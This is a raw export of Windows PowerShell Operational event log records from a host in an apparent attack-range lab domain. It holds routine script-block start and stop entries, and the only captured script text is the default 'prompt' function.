Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479135
Keywords=None
Message=Started invocation of ScriptBlock ID: 435e802e-103a-42e9-bcbf-7681335c9c93
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479134
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1f25960f-d9a3-47e1-a4bb-7d58a6de3b58
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479133
Keywords=None
Message=Started invocation of ScriptBlock ID: 1f25960f-d9a3-47e1-a4bb-7d58a6de3b58
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479132
Keywords=None
Message=Completed invocation of ScriptBlock ID: 92de335d-b7a8-4e22-8f62-5d8735034d62
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479131
Keywords=None
Message=Started invocation of ScriptBlock ID: 92de335d-b7a8-4e22-8f62-5d8735034d62
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479130
Keywords=None
Message=Completed invocation of ScriptBlock ID: ae23a96a-0110-4acd-95cb-f310c67674b0
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479129
Keywords=None
Message=Started invocation of ScriptBlock ID: ae23a96a-0110-4acd-95cb-f310c67674b0
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479128
Keywords=None
Message=Completed invocation of ScriptBlock ID: c899e428-f711-4024-9e22-aa64f80e78b3
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479127
Keywords=None
Message=Started invocation of ScriptBlock ID: c899e428-f711-4024-9e22-aa64f80e78b3
Runspace ID: 07e8bf18-16b7-4244-ae11-0afbe281a2ed
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479306
Keywords=None
Message=Started invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 78274e84-0db5-4ef0-9cfd-29e918023301
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479304
Keywords=None
Message=Completed invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479303
Keywords=None
Message=Started invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479302
Keywords=None
Message=Started invocation of ScriptBlock ID: 78274e84-0db5-4ef0-9cfd-29e918023301
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1479301
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: 78274e84-0db5-4ef0-9cfd-29e918023301
Path:
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479300
Keywords=None
Message=Completed invocation of ScriptBlock ID: ca06aa1b-177a-4689-9498-1195c0905ec9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479299
Keywords=None
Message=Started invocation of ScriptBlock ID: ca06aa1b-177a-4689-9498-1195c0905ec9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479298
Keywords=None
Message=Completed invocation of ScriptBlock ID: f7a7b70f-f231-4997-8908-762a0f635440
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479297
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9977b850-34e8-42e4-a697-d3c6bfbce619
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479296
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8b6d6aa4-57ee-4061-8314-82885b07f2c4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 28b0d021-de54-4ece-9f97-e05084174e2f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479294
Keywords=None
Message=Started invocation of ScriptBlock ID: 28b0d021-de54-4ece-9f97-e05084174e2f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6acf7ef5-6f9c-406b-a073-9c2ad6e0edec
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479292
Keywords=None
Message=Started invocation of ScriptBlock ID: 6acf7ef5-6f9c-406b-a073-9c2ad6e0edec
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479291
Keywords=None
Message=Completed invocation of ScriptBlock ID: ab08d06b-e77b-4ba9-b07f-36e40d1b53cd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479290
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479288
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479287
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479286
Keywords=None
Message=Started invocation of ScriptBlock ID: ab08d06b-e77b-4ba9-b07f-36e40d1b53cd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479285
Keywords=None
Message=Started invocation of ScriptBlock ID: 8b6d6aa4-57ee-4061-8314-82885b07f2c4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479284
Keywords=None
Message=Completed invocation of ScriptBlock ID: 53781394-c176-41ff-b5ee-289ee22c086b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479283
Keywords=None
Message=Started invocation of ScriptBlock ID: 53781394-c176-41ff-b5ee-289ee22c086b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479282
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8b6d6aa4-57ee-4061-8314-82885b07f2c4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 28b0d021-de54-4ece-9f97-e05084174e2f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479280
Keywords=None
Message=Started invocation of ScriptBlock ID: 28b0d021-de54-4ece-9f97-e05084174e2f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6acf7ef5-6f9c-406b-a073-9c2ad6e0edec
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479278
Keywords=None
Message=Started invocation of ScriptBlock ID: 6acf7ef5-6f9c-406b-a073-9c2ad6e0edec
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479277
Keywords=None
Message=Completed invocation of ScriptBlock ID: ab08d06b-e77b-4ba9-b07f-36e40d1b53cd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479276
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479274
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479273
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479272
Keywords=None
Message=Started invocation of ScriptBlock ID: ab08d06b-e77b-4ba9-b07f-36e40d1b53cd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479271
Keywords=None
Message=Started invocation of ScriptBlock ID: 8b6d6aa4-57ee-4061-8314-82885b07f2c4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479270
Keywords=None
Message=Completed invocation of ScriptBlock ID: 53781394-c176-41ff-b5ee-289ee22c086b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479269
Keywords=None
Message=Started invocation of ScriptBlock ID: 53781394-c176-41ff-b5ee-289ee22c086b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479268
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479267
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479266
Keywords=None
Message=Completed invocation of ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479265
Keywords=None
Message=Started invocation of ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479264
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479263
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479262
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
